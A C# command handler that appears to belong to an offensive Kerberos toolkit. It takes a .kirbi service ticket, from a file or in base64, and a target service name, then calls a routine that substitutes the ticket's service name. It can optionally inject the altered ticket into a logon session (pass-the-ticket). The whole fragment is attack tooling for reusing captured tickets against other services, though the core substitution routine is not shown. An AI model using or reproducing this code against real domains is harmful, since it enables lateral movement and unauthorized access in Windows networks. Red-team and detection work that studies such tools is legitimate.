public void Execute(Dictionary <string, string> arguments)
{
Console.WriteLine("\r\n[*] Action: Service Ticket sname Substitution\r\n");
string altservice = "";
LUID luid = new LUID();
bool ptt = false;
if (arguments.ContainsKey("/luid"))
{
try
{
luid = new LUID(arguments["/luid"]);
}
catch
{
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]);
return;
}
}
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/altservice"))
{
altservice = arguments["/altservice"];
}
else
{
Console.WriteLine("\r\n[X] An /altservice:SNAME or /altservice:SNAME/host needs to be supplied!\r\n");
return;
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.SubstituteTGSSname(kirbi, altservice, ptt, luid);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.SubstituteTGSSname(kirbi, altservice, ptt, luid);
}
else
{
Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}